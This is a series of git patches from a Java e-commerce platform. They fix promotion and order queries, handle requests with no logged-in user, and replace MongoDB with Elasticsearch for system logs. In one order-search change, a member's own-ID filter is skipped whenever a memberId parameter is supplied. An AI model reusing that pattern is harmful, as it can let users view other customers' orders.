`scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java index f683332f..44462abc 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/SeckillStatisticsServiceImpl.java @@ -2,9 +2,10 @@ package cn.lili.modules.statistics.serviceimpl; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.statistics.mapper.SeckillStatisticsMapper; import cn.lili.modules.statistics.service.SeckillStatisticsService; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; @@ -23,10 +24,10 @@ public class SeckillStatisticsServiceImpl extends ServiceImpl queryWrapper = Wrappers.lambdaQuery(); + QueryWrapper queryWrapper = Wrappers.query(); //秒杀申请时间未超过当前时间 - queryWrapper.ge(Seckill::getApplyEndTime, cn.hutool.core.date.DateUtil.date()); - queryWrapper.eq(Seckill::getPromotionStatus, PromotionsStatusEnum.NEW.name()); + queryWrapper.ge("apply_end_time", cn.hutool.core.date.DateUtil.date()); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); return this.count(queryWrapper); } From ef8615cfe5ab57047d9dfa2db6ea056e58c35f4e Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 13 Dec 2021 09:32:10 +0800 Subject: [PATCH 065/145] =?UTF-8?q?=E6=94=AF=E4=BB=98=E6=97=B6=E9=97=B4?= =?UTF-8?q?=E4=B8=BA=E7=A9=BA=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java | 1 + 1 file changed, 1 insertion(+) diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index c0c9c04b..6597bf56 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -192,6 +192,7 @@ public class BillServiceImpl extends ServiceImpl implements Bi } LambdaUpdateWrapper lambdaUpdateWrapper = Wrappers.lambdaUpdate(); lambdaUpdateWrapper.eq(Bill::getId, id); + lambdaUpdateWrapper.set(Bill::getPayTime, new Date()); lambdaUpdateWrapper.set(Bill::getBillStatus, BillStatusEnum.COMPLETE.name()); return this.update(lambdaUpdateWrapper); } From d188068b103b038a31c8bb3d00efc865de77f933 Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 13 Dec 2021 12:27:13 +0800 Subject: [PATCH 066/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=97=A0=E7=99=BB?= =?UTF-8?q?=E5=BD=95=E7=94=A8=E6=88=B7=E6=97=B6=EF=BC=8C=E6=9F=A5=E8=AF=A2?= =?UTF-8?q?=E6=8A=A5=E9=94=99?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/event/impl/StockUpdateExecute.java | 15 ++++----------- .../java/cn/lili/elasticsearch/EsSuffix.java | 5 +++++ .../order/entity/dto/OrderSearchParams.java | 19 ++++++++++--------- .../vos/PromotionGoodsSearchParams.java | 2 +- .../KanjiaActivityGoodsServiceImpl.java | 8 +++++++- .../repository/EsGoodsIndexRepository.java | 2 ++ 6 files changed, 29 insertions(+), 22 deletions(-) diff --git a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java index 2e5fd60e..39fdf01a 100644 --- a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java @@ -16,10 +16,12 @@ import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; -import cn.lili.modules.promotion.service.*; +import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; +import cn.lili.modules.promotion.service.KanjiaActivityService; +import cn.lili.modules.promotion.service.PointsGoodsService; +import cn.lili.modules.promotion.service.PromotionGoodsService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.data.redis.core.script.DefaultRedisScript; import org.springframework.stereotype.Service; @@ -63,11 +65,6 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { */ @Autowired private PromotionGoodsService promotionGoodsService; - /** - * 促销商品 - */ - @Autowired - private SeckillApplyService seckillApplyService; /** * 缓存 */ @@ -80,8 +77,6 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { private KanjiaActivityGoodsService kanjiaActivityGoodsService; @Autowired private PointsGoodsService pointsGoodsService; - @Autowired - private MongoTemplate mongoTemplate; @Override public void orderChange(OrderMessage orderMessage) { @@ -295,14 +290,12 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { kanjiaActivityGoodsDTO.setStock(stock); kanjiaActivityGoodsService.updateById(kanjiaActivityGoodsDTO); - this.mongoTemplate.save(kanjiaActivityGoodsDTO); //修改积分商品库存 } else if (promotionTypeEnum.equals(PromotionTypeEnum.POINTS_GOODS)) { PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetail(orderItem.getPromotionId()); Integer stock = Integer.parseInt(cache.get(PromotionGoodsService.getPromotionGoodsStockCacheKey(promotionTypeEnum, orderItem.getPromotionId(), orderItem.getSkuId())).toString()); pointsGoodsVO.setActiveStock(stock); pointsGoodsService.updateById(pointsGoodsVO); - this.mongoTemplate.save(pointsGoodsVO); } else { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setPromotionStatus(promotionTypeEnum.name()); diff --git a/framework/src/main/java/cn/lili/elasticsearch/EsSuffix.java b/framework/src/main/java/cn/lili/elasticsearch/EsSuffix.java index 528f28c6..9b6e4a9b 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/EsSuffix.java +++ b/framework/src/main/java/cn/lili/elasticsearch/EsSuffix.java @@ -13,4 +13,9 @@ public class EsSuffix { */ public static final String GOODS_INDEX_NAME = "goods"; + /** + * 日志索引后缀 + */ + public static final String LOGS_INDEX_NAME = "logs"; + } diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index 899327be..4c8b0e6e 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -15,7 +15,6 @@ import lombok.EqualsAndHashCode; import org.springframework.format.annotation.DateTimeFormat; import java.util.Date; -import java.util.Objects; /** * 订单查询参数 @@ -114,23 +113,25 @@ public class OrderSearchParams extends PageVO { private String orderPromotionType; public QueryWrapper queryWrapper() { - AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); + AuthUser currentUser = UserContext.getCurrentUser(); QueryWrapper wrapper = new QueryWrapper<>(); //关键字查询 if (CharSequenceUtil.isNotEmpty(keywords)) { wrapper.like("o.sn", keywords).or().like("oi.goods_name", keywords); } - //按卖家查询 - wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.STORE.name()), "o.store_id", currentUser.getStoreId()); + if (currentUser != null) { + //按卖家查询 + wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.STORE.name()), "o.store_id", currentUser.getStoreId()); - //店铺查询 - wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MANAGER.name()) - && CharSequenceUtil.isNotEmpty(storeId), "o.store_id", storeId); + //店铺查询 + wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MANAGER.name()) + && CharSequenceUtil.isNotEmpty(storeId), "o.store_id", storeId); - //按买家查询 - wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MEMBER.name()), "o.member_id", currentUser.getId()); + //按买家查询 + wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MEMBER.name()), "o.member_id", currentUser.getId()); + } //按照买家查询 wrapper.like(CharSequenceUtil.isNotEmpty(memberId), "o.member_id", memberId); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java index c9f377a7..f1661f06 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java @@ -50,7 +50,7 @@ public class PromotionGoodsSearchParams extends BasePromotionsSearchParams { if (CharSequenceUtil.isEmpty(this.getScopeType())){ this.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); } - QueryWrapper queryWrapper = super.queryWrapper(); + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionId)) { queryWrapper.eq("promotion_id", promotionId); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java index 40d99c92..355d2201 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityGoodsServiceImpl.java @@ -2,6 +2,7 @@ package cn.lili.modules.promotion.serviceimpl; import cn.hutool.core.text.CharSequenceUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; @@ -74,7 +75,12 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl Date: Mon, 13 Dec 2021 14:49:57 +0800 Subject: [PATCH 067/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E8=8E=B7=E5=8F=96?= =?UTF-8?q?=E6=8B=BC=E5=9B=A2=E8=AE=A2=E5=8D=95=E6=97=B6=EF=BC=8C=E6=90=9C?= =?UTF-8?q?=E7=B4=A2=E6=9D=A1=E4=BB=B6=E9=BB=98=E8=AE=A4=E9=94=81=E5=AE=9A?= =?UTF-8?q?=E4=BA=86=E5=BD=93=E5=89=8D=E4=BC=9A=E5=91=98id=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/order/order/entity/dto/OrderSearchParams.java | 4 ++-- .../entity/vos/kanjia/KanjiaActivityGoodsParams.java | 4 ++-- .../modules/promotion/serviceimpl/PintuanServiceImpl.java | 1 + 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index 4c8b0e6e..c3a4950a 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -129,7 +129,7 @@ public class OrderSearchParams extends PageVO { && CharSequenceUtil.isNotEmpty(storeId), "o.store_id", storeId); //按买家查询 - wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MEMBER.name()), "o.member_id", currentUser.getId()); + wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MEMBER.name()) && CharSequenceUtil.isEmpty(memberId), "o.member_id", currentUser.getId()); } //按照买家查询 @@ -203,7 +203,7 @@ public class OrderSearchParams extends PageVO { } // 依赖订单 - wrapper.eq(CharSequenceUtil.isNotEmpty(parentOrderSn), "o.parent_order_sn", parentOrderSn); + wrapper.eq(parentOrderSn != null, "o.parent_order_sn", parentOrderSn); // 促销活动id wrapper.eq(CharSequenceUtil.isNotEmpty(promotionId), "o.promotion_id", promotionId); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java index 10fc4233..932b1c8c 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java @@ -5,6 +5,7 @@ import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.tools.PromotionTools; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -48,7 +49,7 @@ public class KanjiaActivityGoodsParams implements Serializable { queryWrapper.like("goods_name", goodsName); } if (promotionStatus != null) { - queryWrapper.eq("promotion_status", promotionStatus); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus))); } if (startTime != null) { queryWrapper.le("start_time", new Date(startTime)); @@ -57,7 +58,6 @@ public class KanjiaActivityGoodsParams implements Serializable { queryWrapper.ge("end_time", new Date(endTime)); } if (UserContext.getCurrentUser() != null && UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { - queryWrapper.gt("stock", 0); } queryWrapper.eq("delete_flag", false); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index 136ad57e..a8feb217 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -87,6 +87,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl orders = orderService.queryListByParams(searchParams); //遍历订单状态为已支付,为团长的拼团订单 for (Order order : orders) { From 947fc457f27476518434b222801b02dbc9cb3b19 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 13 Dec 2021 16:21:59 +0800 Subject: [PATCH 068/145] =?UTF-8?q?=E4=BF=AE=E6=94=B9im=E5=B9=B3=E5=8F=B0i?= =?UTF-8?q?d=E5=AD=97=E6=AE=B5=E7=B1=BB=E5=9E=8B=E4=B8=BAstring?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/modules/system/entity/dto/ImSetting.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/system/entity/dto/ImSetting.java b/framework/src/main/java/cn/lili/modules/system/entity/dto/ImSetting.java index 87ca2b74..4ba51a1e 100644 --- a/framework/src/main/java/cn/lili/modules/system/entity/dto/ImSetting.java +++ b/framework/src/main/java/cn/lili/modules/system/entity/dto/ImSetting.java @@ -20,7 +20,7 @@ public class ImSetting implements Serializable { @ApiModelProperty(value = "平台ID") - private Integer tenantId; + private String tenantId; } From c3fbad7dbf2584e9364098fcc1621a616676aa6f Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 13 Dec 2021 18:15:37 +0800 Subject: [PATCH 069/145] =?UTF-8?q?=E7=A7=BB=E9=99=A4mongo,=E5=B0=86?= =?UTF-8?q?=E7=B3=BB=E7=BB=9F=E6=97=A5=E5=BF=97=E5=AD=98=E5=82=A8=E5=9C=A8?= =?UTF-8?q?es=E3=80=82=E4=BF=AE=E5=A4=8D=E6=8B=BC=E5=9B=A2=E5=95=86?= =?UTF-8?q?=E5=93=81=E7=9A=84=E6=AD=A3=E5=B8=B8=E8=B4=AD=E4=B9=B0=E4=BB=B7?= =?UTF-8?q?=E6=A0=BC=E4=B8=BA=E6=8B=BC=E5=9B=A2=E4=BB=B7=E6=A0=BC=E9=97=AE?= =?UTF-8?q?=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- buyer-api/src/main/resources/application.yml | 11 -- buyer-api/src/test/resources/application.yml | 11 -- common-api/src/main/resources/application.yml | 10 -- consumer/src/main/resources/application.yml | 10 -- framework/pom.xml | 5 - .../lili/cache/config/mongo/MongoConfig.java | 55 ---------- .../main/java/cn/lili/common/vo/PageVO.java | 12 +-- .../serviceimpl/GoodsSkuServiceImpl.java | 28 ++--- .../order/cart/service/CartServiceImpl.java | 22 ++-- .../permission/entity/vo/SystemLogVO.java | 30 +++++- .../repository/SystemLogRepository.java | 14 +++ .../serviceimpl/SystemLogServiceImpl.java | 102 ++++++++++++------ .../promotion/service/PintuanService.java | 2 +- .../promotion/service/SeckillService.java | 2 +- .../serviceimpl/CouponServiceImpl.java | 2 +- .../serviceimpl/PintuanServiceImpl.java | 2 +- .../promotion/tools/PromotionTools.java | 18 ---- .../promotion/PintuanManagerController.java | 4 +- .../src/main/resources/application.yml | 10 -- .../cn/lili/test/elasticsearch/EsTest.java | 18 ++-- .../cn/lili/test/promotion/CouponTest.java | 22 +--- .../lili/test/promotion/FullDiscountTest.java | 6 +- seller-api/src/main/resources/application.yml | 10 -- 23 files changed, 163 insertions(+), 243 deletions(-) delete mode 100644 framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java create mode 100644 framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java diff --git a/buyer-api/src/main/resources/application.yml b/buyer-api/src/main/resources/application.yml index 2a84e6be..1a6abf13 100644 --- a/buyer-api/src/main/resources/application.yml +++ b/buyer-api/src/main/resources/application.yml @@ -43,16 +43,6 @@ spring: #关闭jackson 对json做解析 fail-on-empty-beans: false - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset - # Redis redis: host: 127.0.0.1 @@ -189,7 +179,6 @@ logging: cn.lili: debug org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/buyer-api/src/test/resources/application.yml b/buyer-api/src/test/resources/application.yml index a0140a54..ac3d2b4d 100644 --- a/buyer-api/src/test/resources/application.yml +++ b/buyer-api/src/test/resources/application.yml @@ -25,16 +25,6 @@ spring: admin: client: url: http://192.168.0.116:8000 - # mongodb - data: - mongodb: - host: 192.168.0.116 - port: 27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis #amqp @@ -186,7 +176,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/common-api/src/main/resources/application.yml b/common-api/src/main/resources/application.yml index 3da84738..5c35ef17 100644 --- a/common-api/src/main/resources/application.yml +++ b/common-api/src/main/resources/application.yml @@ -29,15 +29,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -188,7 +179,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/consumer/src/main/resources/application.yml b/consumer/src/main/resources/application.yml index dc60ddfa..e142ef08 100644 --- a/consumer/src/main/resources/application.yml +++ b/consumer/src/main/resources/application.yml @@ -32,15 +32,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -191,7 +182,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/framework/pom.xml b/framework/pom.xml index 2c35e2fc..7d3c159c 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -81,11 +81,6 @@ org.apache.commons commons-pool2 - - - org.springframework.boot - spring-boot-starter-data-mongodb - diff --git a/framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java b/framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java deleted file mode 100644 index 1420ec23..00000000 --- a/framework/src/main/java/cn/lili/cache/config/mongo/MongoConfig.java +++ /dev/null @@ -1,55 +0,0 @@ -package cn.lili.cache.config.mongo; - -import com.mongodb.MongoClientSettings; -import com.mongodb.MongoCredential; -import com.mongodb.ServerAddress; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Configuration; -import org.springframework.data.mongodb.config.AbstractMongoClientConfiguration; -import org.springframework.data.mongodb.repository.config.EnableMongoRepositories; - -import java.util.ArrayList; -import java.util.List; - -/** - * @author paulG - * @since 2020/10/22 - **/ -@Configuration -@EnableMongoRepositories -public class MongoConfig extends AbstractMongoClientConfiguration { - - @Value("${spring.data.mongodb.database}") - private String databaseName; - - @Value("${spring.data.mongodb.uri}") - private List uri = new ArrayList<>(); - - @Value("${spring.data.mongodb.username}") - private String username; - - @Value("${spring.data.mongodb.password}") - private String password; - - @Value("${spring.data.mongodb.authentication-database}") - private String authenticationDatabase; - - @Override - protected String getDatabaseName() { - return databaseName; - } - - @Override - protected void configureClientSettings(MongoClientSettings.Builder builder) { - builder.credential(MongoCredential.createCredential(username, authenticationDatabase, password.toCharArray())) - .applyToClusterSettings(settings -> { - List serverAddresses = new ArrayList<>(); - for (String s : uri) { - String[] node = s.split(":"); - serverAddresses.add(new ServerAddress(node[0], Integer.parseInt(node[1]))); - } - settings.hosts(serverAddresses); - }); - } - -} diff --git a/framework/src/main/java/cn/lili/common/vo/PageVO.java b/framework/src/main/java/cn/lili/common/vo/PageVO.java index 6d7fca44..c782a6aa 100644 --- a/framework/src/main/java/cn/lili/common/vo/PageVO.java +++ b/framework/src/main/java/cn/lili/common/vo/PageVO.java @@ -1,5 +1,6 @@ package cn.lili.common.vo; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.utils.StringUtils; import io.swagger.annotations.ApiModelProperty; import lombok.Data; @@ -31,17 +32,8 @@ public class PageVO implements Serializable { @ApiModelProperty(value = "需要驼峰转换蛇形", notes = "一般不做处理,如果数据库中就是蛇形,则这块需要处理。") private Boolean notConvert; - public Integer getMongoPageNumber() { - int i = pageNumber - 1; - if (i < 0) { - return pageNumber; - } else { - return i; - } - } - public String getSort() { - if (!StringUtils.isEmpty(sort)) { + if (CharSequenceUtil.isNotEmpty(sort)) { if (notConvert == null || Boolean.FALSE.equals(notConvert)) { return StringUtils.camel2Underline(sort); } else { diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index 7ac5e90a..a70fc838 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -204,14 +204,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取商品库存 Integer integer = (Integer) cache.get(GoodsSkuService.getStockCacheKey(id)); - //库存不为空 - if (integer != null) { - //库存与缓存中不一致, - if (!goodsSku.getQuantity().equals(integer)) { - //写入最新的库存信息 - goodsSku.setQuantity(integer); - cache.put(GoodsSkuService.getCacheKeys(goodsSku.getId()), goodsSku); - } + //库存不为空,库存与缓存中不一致 + if (integer != null && !goodsSku.getQuantity().equals(integer)) { + //写入最新的库存信息 + goodsSku.setQuantity(integer); + cache.put(GoodsSkuService.getCacheKeys(goodsSku.getId()), goodsSku); } return goodsSku; } @@ -263,14 +260,17 @@ public class GoodsSkuServiceImpl extends ServiceImpl i if (promotionMap != null && !promotionMap.isEmpty()) { promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); + // 过滤活动赠送优惠券和无效时间的活动 return (jsonObject.get("getType") == null || jsonObject.get("getType").toString().equals(CouponGetEnum.FREE.name())) && - (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).before(new Date())); + (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).getTime() <= System.currentTimeMillis()) && + (jsonObject.get("endTime") == null || jsonObject.get("endTime", Date.class).getTime() >= System.currentTimeMillis()); }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); - for (String s : promotionMap.keySet()) { - if (!s.contains(PromotionTypeEnum.SECKILL.name()) || !s.contains(PromotionTypeEnum.PINTUAN.name())) { - goodsSkuDetail.setPromotionPrice(null); - break; - } + + boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> + i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); + if (containsPromotion && goodsIndex.getPromotionPrice() != null) { + goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); + } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java index 72fb5806..a51427d3 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/service/CartServiceImpl.java @@ -118,12 +118,7 @@ public class CartServiceImpl implements CartService { throw new ServiceException(ResultCode.CART_NUM_ERROR); } CartTypeEnum cartTypeEnum = getCartType(cartType); - GoodsSku dataSku = checkGoods(skuId); - Double validPromotionsGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Arrays.asList(PromotionTypeEnum.SECKILL.name(), PromotionTypeEnum.PINTUAN.name())); - if (validPromotionsGoodsPrice != null) { - dataSku.setIsPromotion(true); - dataSku.setPromotionPrice(validPromotionsGoodsPrice); - } + GoodsSku dataSku = checkGoods(skuId, cartType); try { //购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录 TradeDTO tradeDTO; @@ -372,11 +367,12 @@ public class CartServiceImpl implements CartService { } /** - * 校验商品有效性,判定失效和库存 + * 校验商品有效性,判定失效和库存,促销活动价格 * * @param skuId 商品skuId + * @param cartType 购物车类型 */ - private GoodsSku checkGoods(String skuId) { + private GoodsSku checkGoods(String skuId, String cartType) { GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId); if (dataSku == null) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); @@ -384,6 +380,16 @@ public class CartServiceImpl implements CartService { if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { throw new ServiceException(ResultCode.GOODS_NOT_EXIST); } + Double validSeckillGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.SECKILL.name())); + if (validSeckillGoodsPrice != null) { + dataSku.setIsPromotion(true); + dataSku.setPromotionPrice(validSeckillGoodsPrice); + } + Double validPintuanGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.PINTUAN.name())); + if (validPintuanGoodsPrice != null && CartTypeEnum.PINTUAN.name().equals(cartType)) { + dataSku.setIsPromotion(true); + dataSku.setPromotionPrice(validPintuanGoodsPrice); + } return dataSku; } diff --git a/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java b/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java index eb1651ab..8718de48 100644 --- a/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java +++ b/framework/src/main/java/cn/lili/modules/permission/entity/vo/SystemLogVO.java @@ -1,9 +1,18 @@ package cn.lili.modules.permission.entity.vo; import cn.lili.common.utils.ObjectUtil; +import cn.lili.elasticsearch.EsSuffix; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.NoArgsConstructor; +import lombok.ToString; +import lombok.experimental.Accessors; +import org.springframework.data.annotation.Id; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Document; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import java.io.Serializable; import java.util.Date; @@ -17,53 +26,70 @@ import java.util.Map; * @since 